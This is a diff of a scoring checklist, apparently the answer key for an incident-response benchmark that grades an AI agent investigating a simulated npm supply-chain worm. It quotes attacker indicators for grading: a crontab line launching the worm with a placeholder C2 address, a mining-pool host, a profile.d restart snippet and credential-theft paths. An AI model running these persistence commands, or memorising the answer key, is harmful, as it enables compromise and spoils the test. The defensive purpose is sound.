- Attribution: Ruled out the SSH weak password as the initial entry point (the SSH login occurred in Phase 3, later than the Webhook call)
|
| 292 |
+
- **Plan score**: N/A
|
| 293 |
+
- **Critical**: The Agent should not misjudge the entry point as the SSH weak password — although the SSH configuration does have weaknesses, the causal relationship of the attack chain is Webhook first, then SSH
|
| 294 |
+
|
| 295 |
+
### CHK-30: Attacker-IP identification `Q-03` *detection-only*
|
| 296 |
+
- **Evidence**: The source IP of POST /api/webhook/deploy in Nginx access.log; the SSH login source IP in auth.log; the hardcoded C2 address in the worm code
|
| 297 |
+
- **Detection score** (3 pts)
|
| 298 |
+
- Discovery: Identified the attacker source IP
|
| 299 |
+
- Evidence: Cited at least two independent sources (Webhook log + SSH log or worm code)
|
| 300 |
+
- Attribution: Confirmed that the same IP runs through the Webhook call, SSH login, and C2 callback
|
| 301 |
+
- **Plan score**: N/A (blocking plan is covered by CHK-39)
|
| 302 |
+
|
| 303 |
+
### CHK-31: Network-scanning behavior `Q-02` *detection-only*
|
| 304 |
+
- **Evidence**: `/var/tmp/.npm-cache/scan_results.txt` contains scan results; auth.log may contain SSH attempt records initiated by the worm
|
| 305 |
+
- **Detection score** (3 pts)
|
| 306 |
+
- Discovery: Identified internal SSH port-scanning behavior
|
| 307 |
+
- Evidence: Cited the scan results file and/or the abnormal SSH attempts in auth.log
|
| 308 |
+
- Attribution: Associated the network scanning with the worm's lateral-propagation capability
|
| 309 |
+
- **Plan score**: N/A
|
| 310 |
+
- **Bonus**: Assesses the network-segment range covered by the scan and the potential propagation risk
|
| 311 |
+
|
| 312 |
+
### CHK-32: Credential-leak scope assessment `Q-08` *detection-only*
|
| 313 |
+
- **Evidence**: The worm stole 5 categories of credentials: npm token, SSH private key, .env secrets, Git credentials, commands in bash_history
|
| 314 |
+
- **Detection score** (3 pts)
|
| 315 |
+
- Discovery: Comprehensively assessed the credential-leak scope
|
| 316 |
+
- Evidence: Listed each category of stolen credentials and its business impact
|
| 317 |
+
- Attribution: Pointed out the secondary attack surface that credential leakage can cause (e.g. an npm token can publish malicious packages, an SSH key can log in to other servers)
|
| 318 |
+
- **Plan score**: N/A
|
| 319 |
+
- **Critical**: The Agent should assess the leak consequences of each of the 5 credential categories, rather than vaguely saying "credential leak"
|
| 320 |
+
|
| 321 |
+
### CHK-33: Attack-timeline reconstruction `Q-02` *detection-only*
|
| 322 |
+
- **Evidence**: Nginx access.log (Webhook call), deploy.log (npm install), file ctime (worm creation), auth.log (SSH login), systemd unit creation time
|
| 323 |
+
- **Detection score** (3 pts)
|
| 324 |
+
- Discovery: Constructed a coherent attack timeline
|
| 325 |
+
- Evidence: Webhook call → npm install → worm startup → credential theft → SSH login → mining deployment → persistence
|
| 326 |
+
- Attribution: Cross-correlated multiple timestamp sources to form a complete attack narrative
|
| 327 |
+
- **Plan score**: N/A
|
| 328 |
+
- **Bonus**: The Agent notices partial log cleanup (the corp-utils-logger line deleted from deploy.log, auth.log partially truncated)
|
| 329 |
+
|
| 330 |
+
### CHK-34: Worm C2 communication pattern `Q-03` *detection-only*
|
| 331 |
+
- **Evidence**: The `/beacon` HTTP callback path + `/report` initial-infection report path in the worm code
|
| 332 |
+
- **Detection score** (3 pts)
|
| 333 |
+
- Discovery: Extracted the C2 communication protocol from the worm code
|
| 334 |
+
- Evidence: Pointed out the HTTP callback URL, data format (JSON), transmitted content (system information + list of stolen credential directories)
|
| 335 |
+
- Attribution: Distinguished that the C2 callback and the mining-pool outbound connection are two different malicious outbound communications
|
| 336 |
+
- **Plan score**: N/A
|
| 337 |
+
|
| 338 |
+
## Dimension 5: Remediation closed loop (5 items)
|
| 339 |
+
|
| 340 |
+
### CHK-35: Malicious-package removal + npm audit `VUL-01`
|
| 341 |
+
- **Evidence**: Run npm audit after removing the malicious package
|
| 342 |
+
- **Detection score** (3 pts)
|
| 343 |
+
- Discovery: Recommends running `npm audit` to check for other known vulnerabilities
|
| 344 |
+
- Evidence: Explains the scope and limitations of npm audit
|
| 345 |
+
- Attribution: Reflects continuous-monitoring awareness of supply-chain security
|
| 346 |
+
- **Plan score** (2 pts)
|
| 347 |
+
- Correctness: Provides `npm uninstall @corp-utils/logger && npm audit`
|
| 348 |
+
- Completeness: Recommends configuring `npm install --ignore-scripts` or using `.npmrc`'s `ignore-scripts=true`
|
| 349 |
+
|
| 350 |
+
### CHK-36: Full credential rotation `BAS-03`
|
| 351 |
+
- **Evidence**: All 5 categories of credentials have been stolen
|
| 352 |
+
- **Detection score** (3 pts)
|
| 353 |
+
- Discovery: Recommends rotating all leaked credentials
|
| 354 |
+
- Evidence: Lists the specific credentials that need rotation (npm token, SSH key, DB/API/JWT/SMTP passwords in .env, Git token)
|
| 355 |
+
- Attribution: Not rotating credentials after a leak means the attacker still holds valid access
|
| 356 |
+
- **Plan score** (2 pts)
|
| 357 |
+
- Correctness: Provides the specific rotation method for each category of credentials
|
| 358 |
+
- Completeness: Covers all 5 categories, explaining the rotation order and verification method
|
| 359 |
+
|
| 360 |
+
### CHK-37: C2 + mining-pool outbound blocking `ENT-N02`
|
| 361 |
+
- **Evidence**: The worm calls back to C2 (attacker machine IP:8888) + mining connects to the pool (pool.evil-example.invalid:4444)
|
| 362 |
+
- **Detection score** (3 pts)
|
| 363 |
+
- Discovery: Recommends blocking both categories of malicious outbound connections
|
| 364 |
+
- Evidence: Cited the C2 address and the mining-pool address
|
| 365 |
+
- Attribution: Distinguished that the worm C2 and the mining pool are two independent malicious outbound targets
|
| 366 |
+
- **Plan score** (2 pts)
|
| 367 |
+
- Correctness: Provides iptables/ufw outbound rules
|
| 368 |
+
- Completeness: Includes rule persistence
|
| 369 |
+
|
| 370 |
+
### CHK-38: Attacker-IP inbound blocking `ENT-N01`
|
| 371 |
+
- **Evidence**: The attacker IP identified from Nginx logs and auth.log
|
| 372 |
+
- **Detection score** (3 pts)
|
| 373 |
+
- Discovery: Recommends blocking the attacker inbound IP
|
| 374 |
+
- Evidence: Cited the attacker IP and multiple log sources
|
| 375 |
+
- Attribution: Associated it with the Webhook call and SSH login
|
| 376 |
+
- **Plan score** (2 pts)
|
| 377 |
+
- Correctness: Provides a firewall inbound-reject rule
|
| 378 |
+
- Completeness: Includes security-group/firewall rule persistence
|
| 379 |
+
|
| 380 |
+
### CHK-39: Service restart and verification `Q-07`
|
| 381 |
+
- **Evidence**: Nginx, Express webapp, and SSH should run normally after remediation
|
| 382 |
+
- **Detection score** (3 pts)
|
| 383 |
+
- Discovery: Recommends verifying that the remediation operations did not affect business services
|
| 384 |
+
- Evidence: Lists the key services that need verification
|
| 385 |
+
- Attribution: Reflects business-impact awareness
|
| 386 |
+
- **Plan score** (2 pts)
|
| 387 |
+
- Correctness: Lists status-check commands for the key services
|
| 388 |
+
- Completeness: Covers nginx, webapp (PM2), sshd
|
ranges/npm-worm/checklist.md
ADDED
|
@@ -0,0 +1,388 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# range-npm-worm 检查清单
|
| 2 |
+
|
| 3 |
+
评估的评分标准(ground truth)。每个检查点拆分为检测分、方案分两个独立评分维度。
|
| 4 |
+
|
| 5 |
+
- **检测分**(满分 3 分):发现(1) + 证据(1) + 归因(1) — 评判检测 Agent 的分析报告 — LLM-as-a-Judge
|
| 6 |
+
- **方案分**(满分 2 分):正确性(1) + 完整性(1) — 评判检测 Agent 输出的修复方案 — LLM-as-a-Judge
|
| 7 |
+
- **仅检测项**:方案分标记 N/A,不参与对应汇总
|
| 8 |
+
|
| 9 |
+
## 维度 1:入侵实体识别与处置(9 项)
|
| 10 |
+
|
| 11 |
+
### CHK-01:蠕虫进程检测 `ENT-P01`
|
| 12 |
+
- **证据**:`python3 /tmp/.ld.py` 进程正在运行
|
| 13 |
+
- **检测分**(3 分)
|
| 14 |
+
- 发现:识别到可疑 Python 进程
|
| 15 |
+
- 证据:指出路径 `/tmp/.ld.py`,识别为恶意蠕虫脚本(非系统组件)
|
| 16 |
+
- 归因:将蠕虫进程与供应链投毒后的自动化攻击行为关联
|
| 17 |
+
- **方案分**(2 分)
|
| 18 |
+
- 正确性:方案给出 kill/pkill 命令终止进程
|
| 19 |
+
- 完整性:方案涵盖终止进程 + 检查自动重启机制(crontab、bashrc)
|
| 20 |
+
|
| 21 |
+
### CHK-02:蠕虫脚本文件清理 `ENT-F02`
|
| 22 |
+
- **证据**:`/tmp/.ld.py` 文件存在,时间戳被伪造(mtime 与 /usr/bin/python3 一致)
|
| 23 |
+
- **检测分**(3 分)
|
| 24 |
+
- 发现:识别到隐藏的 Python 蠕虫脚本
|
| 25 |
+
- 证据:指出文件路径和内容特征(网络扫描、凭证窃取逻辑)
|
| 26 |
+
- 归因:将其与 npm postinstall 攻击链关联
|
| 27 |
+
- **方案分**(2 分)
|
| 28 |
+
- 正确性:方案给出 `rm -f /tmp/.ld.py`
|
| 29 |
+
- 完整性:建议搜索 /tmp、/var/tmp 等目录确认无副本
|
| 30 |
+
|
| 31 |
+
### CHK-03:JS Dropper 识别 `ENT-F01` *仅检测项*
|
| 32 |
+
- **证据**:`/opt/webapp/node_modules/@corp-utils/logger/scripts/setup.js` 包含 `curl` 下载和 `python3` 执行逻辑
|
| 33 |
+
- **检测分**(3 分)
|
| 34 |
+
- 发现:识别到 npm 包中的恶意 dropper 脚本
|
| 35 |
+
- 证据:指出 setup.js 中的 C2 地址、下载命令和执行链
|
| 36 |
+
- 归因:识别为供应链投毒的初始载荷投递器(JS → curl → Python 跨语言链)
|
| 37 |
+
- **方案分**:N/A(实际处置由 CHK-04 恶意包整体移除覆盖)
|
| 38 |
+
|
| 39 |
+
### CHK-04:恶意 npm 包移除 `ENT-F01`
|
| 40 |
+
- **证据**:`/opt/webapp/node_modules/@corp-utils/logger/` 目录存在,package.json 中有 postinstall hook
|
| 41 |
+
- **检测分**(3 分)
|
| 42 |
+
- 发现:识别到恶意 npm 包 `@corp-utils/logger`
|
| 43 |
+
- 证据:指出 postinstall 钩子和 package.json 中的异常依赖
|
| 44 |
+
- 归因:将其定性为供应链投毒载体
|
| 45 |
+
- **方案分**(2 分)
|
| 46 |
+
- 正确性:方案给出 `npm uninstall @corp-utils/logger` 或手动删除
|
| 47 |
+
- 完整性:建议检查 package-lock.json 溯源包来源 URL,并从 package.json 移除该依赖
|
| 48 |
+
|
| 49 |
+
### CHK-05:挖矿进程检测 `ENT-P01`
|
| 50 |
+
- **证据**:`/opt/.node-helpers/.npm-gc` 进程正在运行,日志文件含矿池地址
|
| 51 |
+
- **检测分**(3 分)
|
| 52 |
+
- 发现:识别到挖矿进程
|
| 53 |
+
- 证据:指出路径、伪装名称(模仿 npm 缓存清理),日志中可见矿池地址
|
| 54 |
+
- 归因:将挖矿与攻击者后续利用关联
|
| 55 |
+
- **方案分**(2 分)
|
| 56 |
+
- 正确性:方案给出终止进程命令
|
| 57 |
+
- 完整性:涵盖终止 + 删除文件 + 检查 systemd 自动重启
|
| 58 |
+
|
| 59 |
+
### CHK-06:挖矿二进制清理 `ENT-F02`
|
| 60 |
+
- **证据**:`/opt/.node-helpers/.npm-gc` 脚本和 `/opt/.node-helpers/.npm-gc.log` 日志
|
| 61 |
+
- **检测分**(3 分)
|
| 62 |
+
- 发现:识别到隐藏的挖矿脚本
|
| 63 |
+
- 证据:指出隐藏目录路径 `/opt/.node-helpers/`
|
| 64 |
+
- 归因:与矿池外连行为关联
|
| 65 |
+
- **方案分**(2 分)
|
| 66 |
+
- 正确性:方案给出 `rm -rf /opt/.node-helpers`
|
| 67 |
+
- 完整性:建议搜索其他隐藏目录
|
| 68 |
+
|
| 69 |
+
### CHK-07:凭证缓存清理 `ENT-F04`
|
| 70 |
+
- **证据**:`/var/tmp/.npm-cache/` 下存储了窃取的 npmrc、SSH 密钥、.env、Git 凭证等
|
| 71 |
+
- **检测分**(3 分)
|
| 72 |
+
- 发现:发现攻击者的数据暂存目录
|
| 73 |
+
- 证据:列出各子目录内容(npmrc/、ssh_keys/、env_files/、git_credentials/、bash_history/)
|
| 74 |
+
- 归因:识别为蠕虫凭证窃取行为的产物
|
| 75 |
+
- **方案分**(2 分)
|
| 76 |
+
- 正确性:方案给出 `rm -rf /var/tmp/.npm-cache`
|
| 77 |
+
- 完整性:建议评估已泄露凭证的轮换需求
|
| 78 |
+
|
| 79 |
+
### CHK-08:蠕虫传播产物 `ENT-F04`
|
| 80 |
+
- **证据**:`/opt/internal-tools/package.json` 的 scripts.postinstall 被注入了蠕虫下载命令
|
| 81 |
+
- **检测分**(3 分)
|
| 82 |
+
- 发现:发现其他 npm 项目被蠕虫感染
|
| 83 |
+
- 证据:指出被修改的 package.json 和注入的 postinstall 内容
|
| 84 |
+
- 归因:识别为蠕虫的自我传播行为
|
| 85 |
+
- **方案分**(2 分)
|
| 86 |
+
- 正确性:方案给出恢复 package.json 的方法
|
| 87 |
+
- 完整性:建议扫描所有本地 npm 项目检查类似感染
|
| 88 |
+
|
| 89 |
+
### CHK-09:C2 通信残留 `ENT-F04` *仅检测项*
|
| 90 |
+
- **证据**:`/var/tmp/.npm-cache/sysinfo.json` 含系统信息回传记录;蠕虫代码中可见 C2 地址
|
| 91 |
+
- **检测分**(3 分)
|
| 92 |
+
- 发现:识别蠕虫的 C2 回连行为
|
| 93 |
+
- 证据:指出 C2 地址(攻击机 IP:8888)和 /beacon 路径
|
| 94 |
+
- 归因:将 C2 通信与蠕虫自动化回连行为���联
|
| 95 |
+
- **方案分**:N/A(出站封禁由 CHK-38 覆盖)
|
| 96 |
+
|
| 97 |
+
## 维度 2:基线风险(9 项)
|
| 98 |
+
|
| 99 |
+
### CHK-10:SSH PermitRootLogin `BAS-01`
|
| 100 |
+
- **证据**:`/etc/ssh/sshd_config` 中 `PermitRootLogin yes`
|
| 101 |
+
- **检测分**(3 分)
|
| 102 |
+
- 发现:报告 PermitRootLogin yes 的风险
|
| 103 |
+
- 证据:引用具体配置行
|
| 104 |
+
- 归因:指出攻击者利用弱密码 SSH 登录 root 进行后续持久化部署
|
| 105 |
+
- **方案分**(2 分)
|
| 106 |
+
- 正确性:建议改为 `no` 或 `prohibit-password`
|
| 107 |
+
- 完整性:包含 `sshd -t` 验证和 sshd 重启步骤
|
| 108 |
+
|
| 109 |
+
### CHK-11:SSH PasswordAuthentication `BAS-01`
|
| 110 |
+
- **证据**:`/etc/ssh/sshd_config` 中 `PasswordAuthentication yes`
|
| 111 |
+
- **检测分**(3 分)
|
| 112 |
+
- 发现:识别到密码认证开启的风险
|
| 113 |
+
- 证据:引用具体配置行
|
| 114 |
+
- 归因:与蠕虫 SSH 爆破扫描行为关联
|
| 115 |
+
- **方案分**(2 分)
|
| 116 |
+
- 正确性:建议设置 `PasswordAuthentication no`
|
| 117 |
+
- 完整性:强调须先确认密钥认证可用
|
| 118 |
+
|
| 119 |
+
### CHK-12:Root 密码强度 `BAS-01`
|
| 120 |
+
- **证据**:root 密码为 `npm@2024`(弱密码)
|
| 121 |
+
- **检测分**(3 分)
|
| 122 |
+
- 发现:识别到 root 使用弱密码
|
| 123 |
+
- 证据:指出密码可被字典攻击
|
| 124 |
+
- 归因:将弱密码与攻击者 Phase 3 SSH 登录关联
|
| 125 |
+
- **方案分**(2 分)
|
| 126 |
+
- 正确性:建议设置强密码
|
| 127 |
+
- 完整性:给出密码复杂度要求
|
| 128 |
+
|
| 129 |
+
### CHK-13:Webhook 端点无认证 `BAS-06`
|
| 130 |
+
- **证据**:`/api/webhook/deploy` 接受任意 POST 且无认证,`packages` 参数直接传入 `npm install`
|
| 131 |
+
- **检测分**(3 分)
|
| 132 |
+
- 发现:识别到 Webhook 端点缺乏认证
|
| 133 |
+
- 证据:引用 server.js 中的路由逻辑,指出命令注入风险
|
| 134 |
+
- 归因:将未授权 Webhook 定性为供应链投毒的入口
|
| 135 |
+
- **方案分**(2 分)
|
| 136 |
+
- 正确性:建议添加 token/signature 认证机制
|
| 137 |
+
- 完整性:建议对 packages 参数做白名单校验,禁止任意 URL
|
| 138 |
+
|
| 139 |
+
### CHK-14:npm token 明文暴露 `BAS-03`
|
| 140 |
+
- **证据**:`/home/developer/.npmrc` 含明文 `_authToken`
|
| 141 |
+
- **检测分**(3 分)
|
| 142 |
+
- 发现:发现明文 npm registry token
|
| 143 |
+
- 证据:引用文件路径和 token 内容
|
| 144 |
+
- 归因:蠕虫已窃取该 token 到 /var/tmp/.npm-cache/npmrc/
|
| 145 |
+
- **方案分**(2 分)
|
| 146 |
+
- 正确性:建议轮换 npm token
|
| 147 |
+
- 完整性:建议使用 `npm token revoke` 废弃旧 token + 权限最小化
|
| 148 |
+
|
| 149 |
+
### CHK-15:SSH 私钥未加密保护 `BAS-03`
|
| 150 |
+
- **证据**:`/home/developer/.ssh/id_rsa` 无 passphrase 保护
|
| 151 |
+
- **检测分**(3 分)
|
| 152 |
+
- 发现:发现未加密的 SSH 私钥
|
| 153 |
+
- 证据:指出文件路径和无密码保护的事实
|
| 154 |
+
- 归因:蠕虫已窃取该密钥到 /var/tmp/.npm-cache/ssh_keys/
|
| 155 |
+
- **方案分**(2 分)
|
| 156 |
+
- 正确性:建议重新生成带 passphrase 的密钥对
|
| 157 |
+
- 完整性:建议轮换关联的 authorized_keys
|
| 158 |
+
|
| 159 |
+
### CHK-16:.env 文件权限过松 `BAS-05`
|
| 160 |
+
- **证据**:`/opt/webapp/.env` 权限 644(任何用户可读),含 DB 密码、API Key、JWT Secret
|
| 161 |
+
- **检测分**(3 分)
|
| 162 |
+
- 发现:识别到 .env 文件权限问题
|
| 163 |
+
- 证据:指出权限值和文件中的敏感凭证清单
|
| 164 |
+
- 归因:蠕虫利用宽松权限窃取了 .env 内容
|
| 165 |
+
- **方案分**(2 分)
|
| 166 |
+
- 正确性:建议 `chmod 600 .env` 并限制只有运行用户可读
|
| 167 |
+
- 完整性:建议轮换 .env 中的所有凭证
|
| 168 |
+
|
| 169 |
+
### CHK-17:Git 凭证明文存储 `BAS-03`
|
| 170 |
+
- **证据**:`/home/developer/.git-credentials` 含明文 GitHub/GitLab 凭证
|
| 171 |
+
- **检测分**(3 分)
|
| 172 |
+
- 发现:发现明文 Git 凭证文件
|
| 173 |
+
- 证据:引用文件路径和凭证内容
|
| 174 |
+
- 归因:蠕虫已窃取该文件
|
| 175 |
+
- **方案分**(2 分)
|
| 176 |
+
- 正确性:建议使用 credential manager 替代明文存储
|
| 177 |
+
- 完整性:建议轮换所有 Git Personal Access Token
|
| 178 |
+
|
| 179 |
+
### CHK-18:developer 用户 sudo 权限 `BAS-04`
|
| 180 |
+
- **证据**:`/etc/sudoers.d/developer` 授予 `ALL=(ALL:ALL) ALL`
|
| 181 |
+
- **检测分**(3 分)
|
| 182 |
+
- 发现:识别到过于宽泛的 sudo 权限
|
| 183 |
+
- 证据:引用 sudoers 配置内容
|
| 184 |
+
- 归因:蠕虫/攻击者可借此提权到 root
|
| 185 |
+
- **方案分**(2 分)
|
| 186 |
+
- 正确性:建议限制到特定命令(如只允许 pm2、nginx 操作)
|
| 187 |
+
- 完整性:包含 `visudo -c` 验证
|
| 188 |
+
|
| 189 |
+
## 维度 3:持久化清除(8 项)
|
| 190 |
+
|
| 191 |
+
### CHK-19:Crontab 持久化 `PER-S01`
|
| 192 |
+
- **证据**:`crontab -l` 显示 `*/10 * * * * python3 /tmp/.ld.py --c2 <IP>:<PORT> >/dev/null 2>&1`
|
| 193 |
+
- **检测分**(3 分)
|
| 194 |
+
- 发现:识别到可疑 crontab 条目
|
| 195 |
+
- 证据:引用具体内容,指出 10 分钟间隔和蠕虫 C2 参数
|
| 196 |
+
- 归因:将 crontab 与蠕虫自动重启持久化关联
|
| 197 |
+
- **方案分**(2 分)
|
| 198 |
+
- 正确性:给出删除恶意条目的方法
|
| 199 |
+
- 完整性:建议检查所有用户的 crontab 和 /etc/cron.d/
|
| 200 |
+
|
| 201 |
+
### CHK-20:Bashrc 持久化 `PER-I01`
|
| 202 |
+
- **证据**:`/home/developer/.bashrc` 中以 `# npm cache optimization` 开头的代码块,每次登录时检查并重启蠕虫
|
| 203 |
+
- **检测分**(3 分)
|
| 204 |
+
- 发现:识别到 bashrc 中追加的恶意代码块
|
| 205 |
+
- 证据:引用注释伪装和具体恶意内容
|
| 206 |
+
- 归因:识别为蠕虫的登录触发持久化机制
|
| 207 |
+
- **方案分**(2 分)
|
| 208 |
+
- 正确性:精确定位并删除恶意代码块
|
| 209 |
+
- 完整性:建议检查 .bash_profile、.profile、/root/.bashrc
|
| 210 |
+
|
| 211 |
+
### CHK-21:Systemd 服务持久化 `PER-V01`
|
| 212 |
+
- **证据**:`/etc/systemd/system/npm-cache-gc.service` — ExecStart 指向 `/opt/.node-helpers/.npm-gc`
|
| 213 |
+
- **检测分**(3 分)
|
| 214 |
+
- 发现:识别到可疑 systemd 服务
|
| 215 |
+
- 证据:指出 unit 文件路径和 ExecStart 指向挖矿脚本
|
| 216 |
+
- 归因:识别为挖矿持久化机制
|
| 217 |
+
- **方案分**(2 分)
|
| 218 |
+
- 正确性:给出 `systemctl stop && disable` + 删除 unit 文件 + `daemon-reload`
|
| 219 |
+
- 完整性:包含清理后验证步骤
|
| 220 |
+
|
| 221 |
+
### CHK-22:Systemd 服务伪装识别 `PER-V01` *仅检测项*
|
| 222 |
+
- **证据**:服务名称 `npm-cache-gc` 和描述 `NPM Cache Garbage Collector` 模仿合法 npm 缓存管理
|
| 223 |
+
- **检测分**(3 分)
|
| 224 |
+
- 发现:指出服务名称和描述的伪装手法
|
| 225 |
+
- 证据:对比合法 npm/node 服务命名模式
|
| 226 |
+
- 归因:识别为攻击者通过命名伪装躲避审查
|
| 227 |
+
- **方案分**:N/A(实际处置由 CHK-21 覆盖)
|
| 228 |
+
|
| 229 |
+
### CHK-23:SSH 密钥注入 `PER-A01`
|
| 230 |
+
- **证据**:`/root/.ssh/authorized_keys` 和 `/home/developer/.ssh/authorized_keys` 中包含注释为 `ops@npm-registry` 的攻击者公钥
|
| 231 |
+
- **检测分**(3 分)
|
| 232 |
+
- 发现:识别到异常的 SSH 公钥
|
| 233 |
+
- 证据:指出密钥注释 `ops@npm-registry` 非本机用户
|
| 234 |
+
- 归因:将密钥注入与蠕虫自动持久化行为关联
|
| 235 |
+
- **方案分**(2 分)
|
| 236 |
+
- 正确性:方案给出删除特定密钥行的命令
|
| 237 |
+
- 完整性:建议审计所有用户的 authorized_keys
|
| 238 |
+
|
| 239 |
+
### CHK-24:profile.d 后门 `PER-E01`
|
| 240 |
+
- **证据**:`/etc/profile.d/node-env.sh` 中隐藏了挖矿重启逻辑(`pgrep -f npm-gc || nohup ...`)
|
| 241 |
+
- **检测分**(3 分)
|
| 242 |
+
- 发现:识别到 profile.d 中的恶意脚本
|
| 243 |
+
- 证据:指出脚本中伪装为 Node.js 环境配置但实际包含后门
|
| 244 |
+
- 归因:识别为每次用户登录时自动重启挖矿的持久化手段
|
| 245 |
+
- **方案分**(2 分)
|
| 246 |
+
- 正确性:方案给出 `rm /etc/profile.d/node-env.sh`
|
| 247 |
+
- 完整性:建议扫描 /etc/profile.d/ 中所有非发行版自带脚本
|
| 248 |
+
|
| 249 |
+
### CHK-25:npm 项目感染持久化 `PER-S01` *仅检测项*
|
| 250 |
+
- **证据**:`/opt/internal-tools/package.json` 的 postinstall 被注入蠕虫下载命令
|
| 251 |
+
- **检测分**(3 分)
|
| 252 |
+
- 发现:识别到蠕虫通过修改 npm 项目实现传播
|
| 253 |
+
- 证据:指出被修改的 package.json 和注入内容
|
| 254 |
+
- 归因:识别为蠕虫的自我传播机制(区别于常规持久化,这是供应链特有行为)
|
| 255 |
+
- **方案分**:N/A(实际处置由 CHK-08 覆盖)
|
| 256 |
+
- **加分项**:Agent 扫描所有本地 npm 项目而非只检查已知路径
|
| 257 |
+
|
| 258 |
+
### CHK-26:全面持久化扫描 `Q-05` *仅检测项*
|
| 259 |
+
- **证据**:除 crontab/bashrc/systemd/authorized_keys/profile.d/npm postinstall 外无其他持久化
|
| 260 |
+
- **检测分**(3 分)
|
| 261 |
+
- 发现:执行系统性的持久化扫描(init.d、rc.local、at 任务、motd 等)
|
| 262 |
+
- 证据:记录扫描范围和方法
|
| 263 |
+
- 归因:即使未发现额外项目,证明排查的全面性
|
| 264 |
+
- **方案分**:N/A
|
| 265 |
+
|
| 266 |
+
## 维度 4:评测质量维度(9 项)
|
| 267 |
+
|
| 268 |
+
### CHK-27:跨语言攻击链追踪 `Q-06` *仅检测项*
|
| 269 |
+
- **证据**:完整攻击链为 npm install → node setup.js → curl → python3 ld.py,跨 JavaScript 和 Python 两种运行时
|
| 270 |
+
- **检测分**(3 分)
|
| 271 |
+
- 发现:识别到跨语言的多阶段攻击链
|
| 272 |
+
- 证据:准确描述 npm postinstall → JS dropper → curl 下载 → Python 蠕虫的完整路径
|
| 273 |
+
- 归因:将各阶段正确串联,说明跨语言边界不影响追踪
|
| 274 |
+
- **方案分**:N/A
|
| 275 |
+
- **关键**:进程链可能在 node → curl → python3 边界断裂,Agent 需主动关联
|
| 276 |
+
|
| 277 |
+
### CHK-28:恶意包溯源 `Q-01` *仅检测项*
|
| 278 |
+
